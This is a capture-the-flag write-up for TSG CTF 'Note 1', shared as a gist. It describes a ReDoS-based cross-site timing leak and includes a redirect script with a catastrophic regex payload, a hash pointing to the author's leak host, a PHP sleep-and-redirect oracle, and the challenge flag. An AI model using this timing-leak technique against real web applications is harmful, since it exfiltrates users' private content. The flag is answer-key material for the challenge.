Skip to content

Instantly share code, notes, and snippets.

@po6ix
Last active July 13, 2020 01:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save po6ix/f3c013d974c6003a8dbc573c887602ae to your computer and use it in GitHub Desktop.
Save po6ix/f3c013d974c6003a8dbc573c887602ae to your computer and use it in GitHub Desktop.
tsgctf-note1

Note 1

There was a simple unintentional solution So we could solve this challenge with time based regex injection

The challenge page includes the note create and delete function and ...

  • with location.hash, we can set src attribute of img tag
  • with location.search, we can construct regex for filtering notes by their content. (See Below)
try {
    const re = new RegExp(this.search);
    this.visibleNotes = this.allNotes.filter(({content}) => content.match(re));
} catch {
    // pass
}

String.prototype.match takes regex injection as first argument and checkes if the string matches regex

But if we include some regex in here, it occurs DOS when regex matches.

then, only time that the substring matches with the regex, event loop of javascript will be blocked.

Blocked event loop (DOS) also make the many things of browser's action.

And redirection is also one of them (different behavior from chrome)

So, We can exfil content of note by add delayed redirection resource at tag and check response time.

FLAG: TSGCTF{5H4LL_W3_ENCRYP7}

<script>
location = `http://34.84.161.130:18364?^<?=$_GET['prefix']?><?=$_GET['c']?>(((((((((((.*)*)*)*)*)*)*)*)*)*)*)!$#//p6.is/leak?v=${c}`;
</script>
<style>
body {
margin: 0;
}
iframe {
width: 100%;
height: 100%;
}
</style>
<?php
sleep(1);
if (!isset($_GET['v'])) {
$_GET['v'] = 'wtf';
}
if (isset($_GET['done'])) {
echo ':)';
} else {
header('Location: /leak?done=' . $_GET['v']);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment